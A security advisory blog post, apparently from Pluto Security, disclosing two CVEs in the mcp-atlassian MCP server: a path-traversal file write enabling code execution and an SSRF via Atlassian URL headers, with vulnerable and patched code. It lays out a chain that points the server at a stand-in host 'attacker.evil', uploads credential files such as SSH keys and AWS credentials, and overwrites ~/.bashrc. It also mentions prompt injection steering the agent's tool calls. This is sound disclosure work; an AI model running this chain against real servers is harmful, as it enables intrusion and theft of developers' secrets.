srcset="https://substackcdn.com/image/fetch/$s_!0U1d!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e35af7e-4f59-4cac-8de8-1cbcdbf1aa0c_1344x768.png 424w, https://substackcdn.com/image/fetch/$s_!0U1d!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e35af7e-4f59-4cac-8de8-1cbcdbf1aa0c_1344x768.png 848w, https://substackcdn.com/image/fetch/$s_!0U1d!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e35af7e-4f59-4cac-8de8-1cbcdbf1aa0c_1344x768.png 1272w, https://substackcdn.com/image/fetch/$s_!0U1d!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e35af7e-4f59-4cac-8de8-1cbcdbf1aa0c_1344x768.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Executive Summary</h3><ul><li><p><strong>What we found:</strong> two vulnerabilities in <code>mcp-atlassian</code>:</p><ul><li><p><strong><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-27825">CVE-2026-27825</a></strong> (<strong>CVSS 9.1</strong>) - Arbitrary file write vulnerability via Confluence attachment download path &#8594; RCE</p></li><li><p><strong><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-27826">CVE-2026-27826</a></strong> (<strong>CVSS 8.2</strong>) - SSRF via Atlassian URL headers in middleware</p></li></ul></li><li><p><strong>Why it matters:</strong> Anyone on the same local network can run code on your machine as root by sending two http requests,<em> <strong>no authentication required.</strong></em></p></li><li><p><strong>Who&#8217;s affected:</strong> Anyone running <code>mcp-atlassian</code> versions <strong>&lt; 0.17.0</strong>, especially network-exposed deployments (<code>streamable-http</code><em> or </em><code>sse</code>).</p></li><li><p><strong>Blast radius:</strong> The project has over 4.4K stars and over <strong>4M downloads.</strong></p></li></ul><ul><li><p><strong>Fix:</strong> upgrade <strong>immediately</strong> to <code>mcp-atlassian &gt;= 0.17.0</code>, which adds safe path validation and SSRF protections (including optional domain allowlisting). We have created an <strong><a href="https://github.com/plutosecurity/MCPwnfluence">open source repo to help with remediation</a></strong><a href="https://github.com/plutosecurity/MCPwnfluence">.</a></p></li><li><p>Up to the publication of this post we have not observed any active exploitation in the wild, yet users should upgrade to the latest version ASAP to reduce risk.</p></li><li><p>This is the first set of vulnerabilities we can publish from Pluto&#8217;s broader research into open-source MCP server security. additional findings are still in coordinated disclosure.</p></li></ul><h2>Introduction</h2><p>Think of this scenario - A developer installs an MCP plugin so their IDE can talk to Jira. That plugin opens a port on their machine - bound to all interfaces, no authentication. Anyone on the same network can now write any file anywhere on their laptop, extract all the files, or use their machine as a proxy into the corporate network.</p><p>That&#8217;s not a hypothetical. It&#8217;s what we found in <strong>mcp-atlassian</strong>, one of the most popular MCP servers in the ecosystem.</p><blockquote><h4>What is mcp-atlassian?</h4><p>As there is no official local Atlassian MCP server, quite a few open-source alternatives are available. <a href="https://github.com/sooperset/mcp-atlassian">mcp-atlassian</a> is the most popular one.</p><p>It is an MCP (Model Context Protocol) server that gives AI assistants like Claude, Cursor, and Copilot direct access to Jira and Confluence. It exposes <strong>over 40 tools</strong> allowing searching Jira issues, reading Confluence pages, creating issues, uploading attachments, downloading files, managing sprints, and more.</p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pJAa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080b151f-ec15-4dc8-b92c-69f343e0c9e5_1948x1224.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pJAa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080b151f-ec15-4dc8-b92c-69f343e0c9e5_1948x1224.png 424w, https://substackcdn.com/image/fetch/$s_!pJAa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080b151f-ec15-4dc8-b92c-69f343e0c9e5_1948x1224.png 848w, https://substackcdn.com/image/fetch/$s_!pJAa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080b151f-ec15-4dc8-b92c-69f343e0c9e5_1948x1224.png 1272w, https://substackcdn.com/image/fetch/$s_!pJAa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080b151f-ec15-4dc8-b92c-69f343e0c9e5_1948x1224.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pJAa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080b151f-ec15-4dc8-b92c-69f343e0c9e5_1948x1224.png" width="616" height="387.11538461538464" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/080b151f-ec15-4dc8-b92c-69f343e0c9e5_1948x1224.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:915,&quot;width&quot;:1456,&quot;resizeWidth&quot;:616,&quot;bytes&quot;:322373,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:&quot;&quot;,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/189124612?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080b151f-ec15-4dc8-b92c-69f343e0c9e5_1948x1224.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!pJAa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080b151f-ec15-4dc8-b92c-69f343e0c9e5_1948x1224.png 424w, https://substackcdn.com/image/fetch/$s_!pJAa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080b151f-ec15-4dc8-b92c-69f343e0c9e5_1948x1224.png 848w, https://substackcdn.com/image/fetch/$s_!pJAa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080b151f-ec15-4dc8-b92c-69f343e0c9e5_1948x1224.png 1272w, https://substackcdn.com/image/fetch/$s_!pJAa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080b151f-ec15-4dc8-b92c-69f343e0c9e5_1948x1224.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>What we found?</h2><p>When you connect an agent to Jira or Confluence through an MCP server, you&#8217;re effectively creating this chain:</p><blockquote><p>Agent &#8594; MCP client &#8594; MCP server &#8594; SaaS APIs / filesystem / network</p></blockquote><p>Each arrow is a trust boundary.</p><p>In the case of <strong>MCPwnfluence</strong>, we saw two failure modes:</p><ul><li><p><strong>Unvalidated outbound destinations (SSRF)</strong><br>An input (a header) influenced where the server sent requests.</p></li><li><p><strong>Unconstrained filesystem writes</strong><br>An input (a download path) influenced where the server wrote files.</p></li></ul><p>The path traversal and SSRF are severe on their own. What makes them critical is the deployment posture: mcp-atlassian&#8217;s HTTP transport  (<code>--transport streamable-http</code>) defaults to binding on <code>0.0.0.0</code> with <strong>zero authentication</strong>. </p><p>Anyone who can reach that port can invoke any of its tools.</p><p>When chaining both vulnerabilities - we are able to send requests to the MCP from the LAN, redirect the server to the attacker machine,  upload an attachment <strong>and then receive a full unauthenticated RCE from the lan - deep dive below!</strong> </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!liFc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec5b39ca-f440-482c-ab7e-6fa018d3a1c2_1536x440.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!liFc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec5b39ca-f440-482c-ab7e-6fa018d3a1c2_1536x440.png 424w, https://substackcdn.com/image/fetch/$s_!liFc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec5b39ca-f440-482c-ab7e-6fa018d3a1c2_1536x440.png 848w, https://substackcdn.com/image/fetch/$s_!liFc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec5b39ca-f440-482c-ab7e-6fa018d3a1c2_1536x440.png 1272w, https://substackcdn.com/image/fetch/$s_!liFc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec5b39ca-f440-482c-ab7e-6fa018d3a1c2_1536x440.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!liFc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec5b39ca-f440-482c-ab7e-6fa018d3a1c2_1536x440.png" width="1456" height="417" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ec5b39ca-f440-482c-ab7e-6fa018d3a1c2_1536x440.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:417,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:91129,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/189124612?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec5b39ca-f440-482c-ab7e-6fa018d3a1c2_1536x440.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!liFc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec5b39ca-f440-482c-ab7e-6fa018d3a1c2_1536x440.png 424w, https://substackcdn.com/image/fetch/$s_!liFc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec5b39ca-f440-482c-ab7e-6fa018d3a1c2_1536x440.png 848w, https://substackcdn.com/image/fetch/$s_!liFc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec5b39ca-f440-482c-ab7e-6fa018d3a1c2_1536x440.png 1272w, https://substackcdn.com/image/fetch/$s_!liFc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec5b39ca-f440-482c-ab7e-6fa018d3a1c2_1536x440.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">MCP servers act as privileged bridges between agent workflows and high-impact capabilities (SaaS APIs, filesystem, outbound HTTP). MCPwnfluence exploited two boundary failures: (1) unvalidated outbound URL control, and (2) unconstrained filesystem writes.</figcaption></figure></div><div><hr></div><h3><strong>CVE-2026-27825</strong> - Arbitrary File Write &#8594; Remote Code Execution (CVSS 9.1)</h3><p><strong>GHSA:</strong> <a href="https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4">GHSA-xjgw-4wvw-rgm4</a></p><p>What peaked our interest in <strong>mcp-atlassian</strong> was that despite it&#8217;s not an official MCP server, we identified it in almost every environment we explored. </p><p>So we decided to dig deeper.</p><p>When we started reviewing how attachments are downloaded, we noticed that the Confluence<code> download_attachment</code> tool takes a destination path and writes the file there. Simple enough.</p><p>The problem was, that there was no boundary enforcement ensuring that <code>target_path</code> stayed within a controlled directory (arbitrary file write)!</p><p>If the process could write there, it would.</p><p>No base directory restriction, No traversal protection, No symlink safeguards.</p><p>Just:</p><pre><code>with open(target_path, &#8220;wb&#8221;) as f:
    f.write(...)</code></pre><p>On a typical system, that&#8217;s dangerous.</p><p>On an MCP server that often runs as <strong>root inside a container</strong> or with elevated permissions?</p><p><strong>That&#8217;s critical.</strong></p><p>Because once you can write arbitrary files as a privileged process, you don&#8217;t need a complicated exploit chain.</p><p>You just need something interesting to overwrite.</p><p>Depending on environment, that can mean:</p><ul><li><p>Modifying startup hooks</p></li><li><p>Overwriting configuration files</p></li><li><p>Pivoting into full remote code execution</p></li></ul><h3><strong>The Vulnerable Code</strong></h3><p>In <code>src/mcp_atlassian/confluence/attachments.py</code>, the <code>download_attachment()</code> function accepts an arbitrary <code>target_path</code> with zero path validation:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;40d40416-b583-4a3e-9770-62de0a8ad65f&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python"># v0.16.1 - confluence/attachments.py
def download_attachment(self, url: str, target_path: str) -&gt; bool:
    try:
        if not os.path.isabs(target_path):
            target_path = os.path.abspath(target_path)

        # NO PATH TRAVERSAL CHECK - writes to ANY path on the filesystem
        os.makedirs(os.path.dirname(target_path), exist_ok=True)

        response = self.confluence._session.get(url, stream=True)
        response.raise_for_status()
        with open(target_path, "wb") as f:   # ARBITRARY FILE WRITE
            for chunk in response.iter_content(chunk_size=8192):
                f.write(chunk)
</code></pre></div><p>The <code>download_content_attachments()</code> function has the same issue - it creates directories at arbitrary paths without validation.</p><h3><strong>Exploitation Flow</strong></h3><ol><li><p>Call <code>confluence_download_attachment</code> with a <code>download_path</code></p></li><li><p>Point anywhere on the filesystem</p></li><li><p>The MCP will override that file with the attachment content</p></li></ol><p>For example, writing to:</p><ul><li><p><code>~/.bashrc</code> or <code>~/.zshrc</code> to execute code on next shell open</p></li><li><p><code>~/.ssh/authorized_keys</code> to achieve SSH access to the machine</p></li></ul><h3><strong>The Fix</strong></h3><p>PR #987 adds a <code>validate_safe_path() </code>centralized path validation function in <code>src/mcp_atlassian/utils/io.py</code>:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;ce3202d5-5a2d-4c01-8c7d-45a8bdfa2a45&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">def validate_safe_path(
    path: str | os.PathLike[str],
    base_dir: str | os.PathLike[str] | None = None,
) -&gt; Path:
    """Validate that a path does not escape the base directory."""
    if base_dir is None:
        base_dir = os.getcwd()

    resolved_base = Path(base_dir).resolve(strict=False)
    p = Path(path)
    if not p.is_absolute():
        p = resolved_base / p
    resolved_path = p.resolve(strict=False)

    if not resolved_path.is_relative_to(resolved_base):
        raise ValueError(
            f"Path traversal detected: {path} resolves outside {resolved_base}"
        )
    return resolved_path
</code></pre></div><p><strong>Key details</strong>: resolves symlinks (prevents symlink-based bypasses), normalizes the path, and enforces that the resolved path stays within the base directory. Applied to both <code>download_attachment()</code> and <code>download_content_attachments()</code>.</p><h3><strong>Silent Data Exfiltration</strong></h3><p>The lack of authentication also affects the upload tools: <code>confluence_upload_attachment</code> and <code>jira_update_issue</code> (with its <code>attachments</code> parameter). They accept a <code>file_path</code> pointing to <strong>any file on the filesystem</strong>, read it in binary mode, and upload it to the configured Atlassian instance.</p><pre><code><code># v0.16.1 &#8212; confluence/attachments.py, _upload_attachment_direct()
# No path validation &#8212; reads ANY file the process can access
files = {"file": (filename, open(file_path, "rb"))}
response = self.confluence._session.put(url, headers=headers, files=files, data=data)
</code></code></pre><p>The MCP tool&#8217;s <a href="https://mcp-atlassian.soomiles.com/docs/tools/confluence-attachments">documentation</a> even says it plainly: <em>&#8220;Full path to the file to upload. Can be absolute (e.g., &#8216;/home/user/document.pdf&#8217;)&#8221;.</em></p><h3><strong>Exploitation Flow</strong></h3><ol><li><p>Very similar to the upload flow - Call <code>confluence_upload_attachment</code> with a <code>upload_path</code></p></li><li><p>Point anywhere on the filesystem</p></li><li><p>The MCP will upload the attachment content</p></li></ol><p>For example, we can upload:</p><ul><li><p><code>~/.ssh/authorized_keys</code> </p></li><li><p><code>~/.etc/shadow</code></p></li></ul><div><hr></div><h2><strong>CVE-2026-27826: SSRF via Header Injection (CVSS 8.2) - Full Un-authenticated RCE from the LAN</strong></h2><p><strong>GHSA:</strong> <a href="https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-7r34-79r5-rcc9">GHSA-7r34-79r5-rcc9</a></p><p><strong>This was the last missing piece of the puzzle.</strong></p><p>An unconstrained download path means you can write a file somewhere interesting.<br>That&#8217;s powerful - especially in AI-driven workflows where tool inputs can be influenced.</p><p>But prompt injection is noisy. It&#8217;s indirect. It requires model cooperation.</p><p>Then we noticed something more interesting.</p><p>The MCP server was binding to <code>0.0.0.0</code><strong> by default.</strong></p><p>That changes the game.</p><p>Now the question becomes:</p><blockquote><p>If this service is network-reachable&#8230; what controls its outbound behavior?</p></blockquote><p>At first glance, the Atlassian base URL is configured server-side. That looks safe.</p><p>Until we looked at the middleware.</p><p><strong>The server accepts Atlassian service URL headers (e.g. </strong><code>X-Atlassian-Jira-Url</code><strong>) and uses them to construct a Jira client - without validating the destination.</strong></p><p>This allows any unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint to force the server process to make outbound HTTP requests to an arbitrary URL controlled by the attacker.</p><p>This means that any actor with network access can call the vulnerable MCP, and make its responses go back to him!</p><h3><strong>The Vulnerable Code</strong></h3><p>In <code>src/mcp_atlassian/servers/main.py</code>, the middleware extracts <code>X-Atlassian-Jira-Url</code> and <code>X-Atlassian-Confluence-Url</code> headers from incoming requests and passes them through with zero validation:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;bf8c8c3d-645b-4143-aa93-62e5b1473d6a&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python"># v0.16.1 - main.py, _process_authentication_headers()
if jira_url_str:
    service_headers["X-Atlassian-Jira-Url"] = jira_url_str     # NO VALIDATION
if confluence_url_str:
    service_headers["X-Atlassian-Confluence-Url"] = confluence_url_str  # NO VALIDATION

scope["state"]["atlassian_service_headers"] = service_headers
</code></pre></div><p>In <code>src/mcp_atlassian/servers/dependencies.py</code>, <code>get_jira_fetcher()</code> reads that header and creates a fetcher pointing at whatever URL was provided:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;cbb5f465-844b-478c-9e2e-9f729d8d755e&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python"># v0.16.1 - dependencies.py, get_jira_fetcher()
jira_url_header = service_headers.get("X-Atlassian-Jira-Url")
jira_token_header = service_headers.get("X-Atlassian-Jira-Personal-Token")

if (user_auth_type == "pat" and jira_url_header and jira_token_header ...):
    header_config = JiraConfig(
        url=jira_url_header,   # ATTACKER-CONTROLLED URL - NO VALIDATION
        auth_type="pat",
        personal_token=jira_token_header,
        ...
    )
    header_jira_fetcher = JiraFetcher(config=header_config)
    # Server now makes authenticated requests to the attacker's URL
</code></pre></div><p>The identical pattern exists for <code>get_confluence_fetcher()</code>.</p><h3><strong>Exploitation Flow</strong></h3><p>An attacker sends a request to the unauthenticated MCP endpoint with:</p><pre><code><code>X-Atlassian-Jira-Url: http://attacker.evil:8080
X-Atlassian-Jira-Personal-Token: anything</code></code></pre><p>When any Jira tool is invoked in that session, the MCP server makes outbound HTTP requests to <code>attacker.evil:8080</code> <strong>from the victim&#8217;s machine and network position</strong>. The attacker doesn&#8217;t steal the victim&#8217;s Atlassian credentials here - they supply their own token. The real power is turning the MCP server into an SSRF proxy inside the victim&#8217;s network.</p><h3><strong>The Fix </strong></h3><p>PR #986 adds comprehensive URL validation via <code>validate_url_for_ssrf()</code> in <code>src/mcp_atlassian/utils/urls.py</code>:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;131dd56d-3649-4173-b76f-ec3049fb4770&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">def validate_url_for_ssrf(url: str) -&gt; str | None:
    """Returns None if safe, error message if blocked."""
    # Checks:
    # - Scheme allowlist (http/https only)
    # - Blocked hostnames (localhost, metadata.google.internal)
    # - IP address validation via ipaddress.ip_address().is_global
    # - IPv4-mapped IPv6 handling (::ffff:127.0.0.1)
    # - DNS resolution check (resolves hostname, blocks non-global IPs)
    # - Domain allowlist via MCP_ALLOWED_URL_DOMAINS env var
</code></pre></div><p>The fix also adds a redirect-following hook to block SSRF via open-redirect chains:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;924a59d2-aae4-4fde-8a92-ccb19f89dbf9&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">def _make_ssrf_safe_hook(validate_fn):
    """Blocks HTTP redirects targeting internal/private IPs."""
    def hook(response, **kwargs):
        if response.is_redirect:
            redirect_url = response.headers.get("Location", "")
            error = validate_fn(redirect_url)
            if error:
                response.close()
                raise ValueError(f"Redirect blocked (SSRF): {error}")
        return response
    return hook
</code></pre></div><div><hr></div><h3><strong>The full Un-Authenticated RCE chain</strong></h3><ol><li><p>An attacker scans the network and identifies the MCP server</p></li><li><p>Initializes an MCP session (unauthenticated <code>POST /mcp</code>) </p></li><li><p>Overrides the destination URL to the attacker machine using <strong>CVE-2026-27826</strong></p></li><li><p>Calls <code>confluence_upload_attachment</code> with a <code>upload_path</code>  to sensitive file like:</p><ol><li><p><code>~/.ssh/id_rsa</code> /  - SSH private keys</p></li><li><p><code>~/.aws/credentials</code> - AWS access keys and secret keys</p></li><li><p><code>.env</code> - API keys, database passwords, third-party secrets</p></li><li><p><code>~/.git-credentials</code> - plaintext Git authentication tokens</p></li><li><p><code>~/.kube/config</code> - Kubernetes cluster credentials and certificates<br><br>No files are modified. No processes are spawned.<br>No logs are written on the victim&#8217;s machine.<br></p><p>The developer&#8217;s secrets are silently uploaded to an attacker-controlled Confluence page or Jira issue, and the only trace is an outbound HTTP request to what looks like a legitimate Atlassian URL.</p></li></ol></li><li><p>Calls <code>confluence_download_attachment</code> with a <code>download_path</code> pointing to <code>~/.bashrc using</code> <strong>CVE-2026-27825</strong></p></li><li><p>Code will run!</p><h3><strong>Example real-world attack scenarios</strong></h3><ul><li><p><strong>Shared WiFi:</strong> A developer working in the airport or in a coffee shop runs mcp-atlassian with <code>--transport streamable-http</code> so their AI IDE can reach it. An attacker on the same WiFi finds the MCP server, and writes a cron job that opens a reverse shell. The developer&#8217;s machine is now compromised.</p></li><li><p><strong>Cloud VPC:</strong> A team deploys mcp-atlassian as a shared service inside a Kubernetes cluster. A compromised container in the same VPC sends requests to the MCP server&#8217;s ClusterIP, writes SSH keys to <code>/root/.ssh/authorized_keys</code> on the pod, and pivots to other services.</p></li><li><p><strong>Co-working space.</strong> An attacker at a co-working space scans the network, finds a developer&#8217;s MCP server, and writes a reverse-shell script to <code>~/Library/LaunchAgents/</code> - it executes on next login.</p></li></ul></li></ol><div><hr></div><h2>RCE PoC Demo</h2><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VCRH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d89902a-f9e6-4896-b9bc-68ffbe585ef9_800x463.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VCRH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d89902a-f9e6-4896-b9bc-68ffbe585ef9_800x463.gif 424w, 